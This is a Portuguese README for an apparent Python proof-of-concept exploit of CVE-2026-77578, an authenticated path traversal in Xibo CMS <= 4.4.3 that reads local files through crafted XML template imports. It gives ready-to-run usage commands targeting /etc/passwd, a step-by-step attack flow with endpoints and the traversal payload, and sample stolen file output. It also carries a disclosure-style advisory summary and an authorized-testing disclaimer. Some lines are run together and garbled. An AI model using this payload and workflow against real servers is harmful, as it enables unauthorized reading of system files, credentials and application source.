
Prova de conceito em Python que explora o CVE-2026-77578, uma path traversal autenticada no Xibo CMS que lê arquivos locais arbitrários por meio de importações de templates XML manipuladas.
CVE-2026-77578 é uma vulnerabilidade de Leitura Arbitrária de Arquivo Local autenticada no Xibo CMS.
Um usuário autenticado com privilégios de Administrador ou acesso a Module Templates pode importar um template XML criado especificamente contendo um asset baseado em caminho com uma sequência de travessia. O asset resultante pode então ser acessado através do endpoint de asset do módulo, fazendo com que o Xibo retorne o conteúdo do arquivo local referenciado.
<= 4.4.3>= 4.4.4AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)O Xibo publicou a vulnerabilidade como GHSA-pc3g-2hhm-46qc, confirmando que as versões <= 4.4.3 são afetadas e >= 4.4.4 estão corrigidas. O aviso atribui severidade Alta com uma pontuação CVSS v3.1 de 8.8 e identifica CVE-2026-77578.
O PoC em Python fornecido automatiza o processo de exploração:
/developer/template/import./module/asset/<asset-id>.python3 poc.py <URL> -u <USERNAME> -p <PASSWORD> -f <FILE>
Exemplo:
python3 poc.py http://localhost \
-u xibo_admin \
-p password \
-f /etc/passwd
Outro exemplo:
python3 poc.py http://localhost \
-u xibo_admin \
-p password \
-f /etc/os-release
A opção -f tem como padrão /etc/passwd.
O seguinte demonstra a recuperação bem-sucedida de /etc/passwd:
==============================================
FILE CONTENT
==============================================
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Authenticated User
|
v
GET /developer/template/view
|
v
Extract X-XSRF-TOKEN
|
v
POST /developer/template/import
|
| Crafted XML
| path="../../../../../etc/passwd"
v
Xibo creates the asset
|
v
GET /module/asset/<asset-id>
|
v
Contents of local file returned
A vulnerabilidade foi validada com sucesso contra múltiplos arquivos em um ambiente de teste local do Xibo CMS 4.4.3, incluindo:
/etc/passwd/etc/hosts/etc/os-release/var/www/cms/web/index.phpO teste com o arquivo de código-fonte PHP demonstra que o problema é capaz de retornar código-fonte da aplicação, não apenas metadados do sistema.
A exploração bem-sucedida permite que um atacante autenticado com os privilégios necessários de Module Templates leia arquivos arbitrários acessíveis ao processo da aplicação Xibo.
Dependendo da implantação, isso pode expor:
Esta prova de conceito é fornecida apenas para fins de pesquisa de segurança autorizada e testes defensivos.
Teste apenas sistemas que você possui ou tem permissão explícita para avaliar.
CVE-2026-77578/
├── poc.py
├── README.md
├── LICENSE
├── .gitignore
└── screenshots/
└── poc-output.png